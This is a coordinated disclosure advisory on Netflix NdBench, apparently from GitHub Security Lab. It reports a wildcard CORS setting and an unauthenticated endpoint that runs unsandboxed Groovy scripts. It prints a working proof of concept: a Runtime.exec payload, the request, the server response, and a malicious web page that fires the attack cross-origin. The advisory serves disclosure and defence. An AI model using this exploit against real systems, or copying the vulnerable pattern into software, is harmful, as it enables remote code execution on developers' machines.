Coordinated Disclosure Timeline

Summary

An attacker may get arbitrary code execution on NDBench servers by providing arbitrary Groovy scripts.

Product

Netflix NdBench

Tested Version

v0.5.0-rc.1 (2021-03-19)

Details

Issue 1: Overly broad CORS configuration

NdBench is configured with an overly broad default CORS configuration which allows any site to send it cross-site requests:

Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, content-type
Access-Control-Allow-Method: OPTIONS, GET, POST

Impact

This issue may let any site to send requests to the REST API.

Issue 2: Unrestricted Groovy Script

The application is designed to evaluate Groovy scripts as described in the Dynamic plugin configuration. This service is backed up by the NdBenchResource endpoint:

    @Path("/initfromscript")
    @POST
    @Consumes(MediaType.MULTIPART_FORM_DATA)
    @Produces(MediaType.APPLICATION_JSON)
    public Response initfromscript(@FormDataParam("dynamicplugin") String dynamicPlugin) throws Exception {
        try {
            GroovyClassLoader gcl = new GroovyClassLoader();

            Class classFromScript = gcl.parseClass(dynamicPlugin);

            Object objectFromScript = classFromScript.newInstance();

            NdBenchClient client = (NdBenchClient) objectFromScript;

            ndBenchDriver.init(client);
            return sendSuccessResponse("NdBench client - dynamic plugin initiated with script!");

        } catch (Exception e) {
            logger.error("Error initializing dynamic plugin from script", e);
            return sendErrorResponse("script initialization failed for dynamic plugin!", e);

        }
    }

The Groovy engine is not sandboxed which allows attackers to run arbitrary code by sending requests to this unauthenticated endpoint.

In addition, this endpoint accepts simple POST requests which trigger no preflight requests. Even if it did, the default CORS configuration will allow any site to send cross-origin requests to this endpoint. As a result an attacker can host a malicious web page that, when visited, will send a malicious POST request to the localhost server and run arbitrary code on the developer machine or CI/CD server running NdBench.

Impact

This issue may lead to Remote Code Execution. Any developer running NdBench may get compromised by visiting a malicious web site.

Resources

Example payload:

public class Exploit {
    public Exploit() {
        Runtime.getRuntime().exec("touch /tmp/pwned-ndbench");
    }
}

Example request script:

POST http://localhost:8080/REST/ndbench/driver/initfromscript 
dynamicplugin=!file(exploit.json)

Example server response:

500 Internal Error
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type, content-type
Access-Control-Allow-Method: OPTIONS, GET, POST
Content-Type: application/json
Transfer-Encoding: chunked
Date: Wed, 07 Apr 2021 09:30:05 GMT
Connection: close

{
  "detailedMessage": "java.lang.ClassCastException: Exploit cannot be cast to com.netflix.ndbench.api.plugin.NdBenchClient\n\tat com.netflix.ndbench.core.resources.NdBenchResource.initfromscript(NdBenchResource.java:83)\n\tat sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n\tat sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\n\tat sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)\n\tat java.lang.reflect.Method.invoke(Method.java:498)\n\tat com.sun.jersey.spi.container.JavaMethodInvokerFactory$1.invoke(JavaMethodInvokerFactory.java:60)\n\tat com.sun.jersey.server.impl.model.method.dispatch.AbstractResourceMethodDispatchProvider$ResponseOutInvoker._dispatch(AbstractResourceMethodDispatchProvider.java:205)\n\tat com.sun.jersey.server.impl.model.method.dispatch.ResourceJavaMethodDispatcher.dispatch(ResourceJavaMethodDispatcher.java:75)\n\tat com.sun.jersey.server.impl.uri.rules.HttpMethodRule.accept(HttpMethodRule.java:302)\n\tat com.sun.jersey.server.impl.uri.rules.RightHandPathRule.accept(RightHandPathRule.java:147)\n\tat com.sun.jersey.server.impl.uri.rules.ResourceClassRule.accept(ResourceClassRule.java:108)\n\tat com.sun.jersey.server.impl.uri.rules.RightHandPathRule.accept(RightHandPathRule.java:147)\n\tat com.sun.jersey.server.impl.uri.rules.RootResourceClassesRule.accept(RootResourceClassesRule.java:84)\n\tat com.sun.jersey.server.impl.application.WebApplicationImpl._handleRequest(WebApplicationImpl.java:1542)\n\tat com.sun.jersey.server.impl.application.WebApplicationImpl._handleRequest(WebApplicationImpl.java:1473)\n\tat com.sun.jersey.server.impl.application.WebApplicationImpl.handleRequest(WebApplicationImpl.java:1419)\n\tat com.sun.jersey.server.impl.application.WebApplicationImpl.handleRequest(WebApplicationImpl.java:1409)\n\tat com.sun.jersey.spi.container.servlet.WebComponent.service(WebComponent.java:409)\n\tat com.sun.jersey.spi.container.servlet.ServletContainer.service(ServletContainer.java:558)\n\tat com.sun.jersey.spi.container.servlet.ServletContainer.service(ServletContainer.java:733)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:742)\n\tat com.google.inject.servlet.ServletDefinition.doServiceImpl(ServletDefinition.java:287)\n\tat com.google.inject.servlet.ServletDefinition.doService(ServletDefinition.java:277)\n\tat com.google.inject.servlet.ServletDefinition.service(ServletDefinition.java:182)\n\tat com.google.inject.servlet.ManagedServletPipeline.service(ManagedServletPipeline.java:91)\n\tat com.google.inject.servlet.FilterChainInvocation.doFilter(FilterChainInvocation.java:85)\n\tat com.google.inject.servlet.ManagedFilterPipeline.dispatch(ManagedFilterPipeline.java:119)\n\tat com.google.inject.servlet.GuiceFilter$1.call(GuiceFilter.java:133)\n\tat com.google.inject.servlet.GuiceFilter$1.call(GuiceFilter.java:130)\n\tat com.google.inject.servlet.GuiceFilter$Context.call(GuiceFilter.java:203)\n\tat com.google.inject.servlet.GuiceFilter.doFilter(GuiceFilter.java:130)\n\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)\n\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)\n\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)\n\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)\n\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)\n\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)\n\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)\n\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)\n\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)\n\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)\n\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)\n\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)\n\tat org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)\n\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)\n\tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)\n\tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)\n\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)\n\tat java.lang.Thread.run(Thread.java:748)",
  "isSuccess": false,
  "message": "script initialization failed for dynamic plugin! Exploit cannot be cast to com.netflix.ndbench.api.plugin.NdBenchClient !!!  "
}

Regardless of the error, the code in the static initializer block and init method was run.

The following page can be served on an attacker controlled server to compromise any developer running ndbench which visits the page:

<html>
<head>
  <script type="text/javascript">
    var formData = new FormData();
    var content = `
    public class Exploit {
      public Exploit() {
        Runtime.getRuntime().exec("touch /tmp/pwned-ndbench");
      }
    }`;
    var blob = new Blob([content], { type: "text/xml"});
    formData.append("dynamicplugin", blob);
    var request = new XMLHttpRequest();
    request.open("POST", "http://localhost:8080/REST/ndbench/driver/initfromscript");
    request.send(formData);
  </script>
</head>
<body>/tmp/pwned-ndbench should have been created</body>
</html>

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-064 in any communication regarding this issue.